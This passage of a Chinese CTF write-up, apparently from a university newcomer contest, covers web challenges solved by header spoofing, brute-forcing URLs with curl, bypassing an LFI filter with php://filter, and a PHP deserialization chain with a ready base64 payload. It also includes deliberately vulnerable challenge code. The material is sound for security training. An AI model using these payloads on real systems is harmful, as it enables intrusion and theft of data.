    die("需要你从http://hubumars.com/访问</br>你现在的来源是:" . $_SERVER['HTTP_REFERER']);
}

if (isset($_COOKIE['HUBUMARS']) && $_COOKIE['HUBUMARS'] == "True") {
    echo "欢迎协会成员<br>";
    // echo $flag;
} else {
    die("接下来的内容只有HUBUMARS成员才能访问,你需要先加入湖北大学网络空间安全协会</br>");
}


if (isset($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP'] == "11.45.1.4"){
    echo "你的IP地址符合条件</br>";
}
else {
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
        die("你不会只知道X-Forwarded-For吧?<br>");
    } 
    die("请通过IP (11.45.1.4)访问");
}

// 重定向
echo "<script>window.location.href = './n3wp493.php';</script>";
?>



</body>
</html>

n3wp493.php

<?php
    header("Location: ./flag.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>湖北大学网络空间安全协会招新</title>
</head>
<body>
    <?php
    
    include_once("fl4g.php");
    echo "恭喜你,发现Flag:" . $flag;
    ?>

</body>

</html>

flag.php

<?php

echo "什么东西一闪而过,你看到了什么?</br>";
echo "是Flag吗?</br>";

?>

fl4g.php

<?php

$flag = getenv('FLAG');

?>

Random_Door

分类: Web | 文件包含 | 气运之子/暴力破解
难度:⭐⭐⭐
Author: K1t0 & St4rry

知识点

文件包含、暴力破解

Wirteup

这个题目一共有两个入口,有2%的概率一下子就点到题目入口 (每次启动题目入口都不一样)
如果你是气运之子,就可以直接开始做题啦
进入网页,有100个按钮,每隔几秒刷新更换一下位置和样式
2024-11-14T10:10:12.png
使用burpsuite爆破,查看响应长度
或者使用curl爆破

for i in {1..100};do echo $i;curl -ks http://challenge.hubuctf.cn:31642/flag$i.php | grep -i file;done

其中一个入口

<?php

highlight_file(__FILE__);
error_reporting(0);
if (preg_match('/base64|http/', $_GET['file'])) {
    die('base64 | http is not allowed');
} else {
    echo "flag in flag.php";
}

include $_GET['file'];
?> flag in flag.php

禁用了base64,而且data伪协议也用不了(没开allow_url_include=On)
但不区分大小写

?file=php://filter/convert.Base64-encode/resource=flag.php

另一个入口没给源码

file? 你能想到什么?file 需要传递

这个是用lfi的payload就行

?file=php://filter/convert.base64-encode/resource=flag.php

题目源码

Web Pentest

分类: Web | Pentest | 反序列化
难度:⭐⭐⭐⭐
Author: K10t

本题根据真实渗透场景来出的,一般来讲这也是一种渗透测试的重要思路。最后的进入后台你可以理解为有一个模板文件的修改,考察代码审计。

知识点

  • APK分析
  • 反序列化

Writeup

apk分析
进入网站,看到几张聊天记录的截图
2024-11-26T03:24:47.png
发现有一些最新的资讯和评论,关于一个app。
2024-11-26T03:25:03.png
找到对应的下载地址。一般来讲apk的分析是我们找到一些web页面的重要手段。很可能我们能够找到app的后台地址。因此找到这个apk然后下载。
2024-11-26T03:25:20.png
分析apk ,这里考虑到很多都是ctf新生,因此没有利用一些分析工具去找url而是利用了更加直接的方式。两种方式找到对应的后台地址url

方式一

逆向手应该都有安卓模拟器,直接apk安装到模拟器上。或者直接安装到手机上。启动app就直接有了web后台地址。
2024-11-26T03:25:38.png

方式二

misc 手应该需要会,apk本质也是个压缩包。把apk后缀改成zip然后解压。直接搜flag 但是有一点要注意,app打包之后xml文件是二进制。因此也考察了选手对于grep的使用情况

grep -a -r "flag" . 
#  搜索二进制 递归搜索

2024-11-26T03:25:54.png
找到后台,访问 /flag1-21daSD21agfgDDDZVFGSVsasd32Ws2asCZCDw.php
使用弱口令admin:admin进去
接下来就是一个反序列化漏洞

<?php
error_reporting(0); //关闭错误报告
class K1T0
{
    protected $file = 'FLAG.php';
    public $test;
    public function __construct($file)
    {
        $this->file = $file;
    }
    public function test()
    {
        system($this->test);
    }
    function __toString()
    {
        if (!empty($this->file)) {
            if (!preg_match('/filter/', $this->file)) {
                echo $this->file;
                printf("再试试");
                exit();
            } else {
                include($this->file);
            }

        }
        return "successful guy!!!";
    }


    public function kkk()
    {
        eval ($this->test);
    }
}
class APT
{
    public $eth0;
    public $eth1;
    function __wakeup()
    {
        echo $this->eth0;
    }
}

if (!isset($_GET['file'])) {
    show_source(__FILE__);
} else {
    $file = base64_decode($_GET['file']);
    unserialize($file);
}
?>

其实这个序列化很简单链子是 APT-> K1T0 触发魔术方法 toString

<?php
error_reporting(0); //关闭错误报告
class K1T0
{
    protected $file = 'php://filter/read=convert.base64-encode/resource=/flag';
    public $test;

        function __toString()
        {
            if (!empty($this->file)) {
                if (!preg_match( "filter",$this->file)) {
                    printf("再试试");
                    exit();
                }
                else{
                    include($this->file);
                }

            }
            return "successful guy!!!";
    }
}
class APT
{
    public $eth0;
    public $eth1;

}

$a=new APT();
$a->eth0=new  K1T0();
echo base64_encode(serialize($a));
?>



?file=TzozOiJBUFQiOjI6e3M6NDoiZXRoMCI7Tzo0OiJLMVQwIjoyOntzOjc6IgAqAGZpbGUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vZmxhZyI7czo0OiJ0ZXN0IjtOO31zOjQ6ImV0aDEiO047fQ

你可能会读取 flag.php 但是是在/flag

题目不算很难,基本上路径上的路都给你铺好了。但是这确实一条很常见的渗透思路的路径,或许你之后的渗透中也能用上这种方式找到后台。

总结

这就是湖北大学新星赛的Web和Misc部分,主要面向新生,所以题目比较基础。

Last modification:November 30, 2024
请我喝瓶冰阔落吧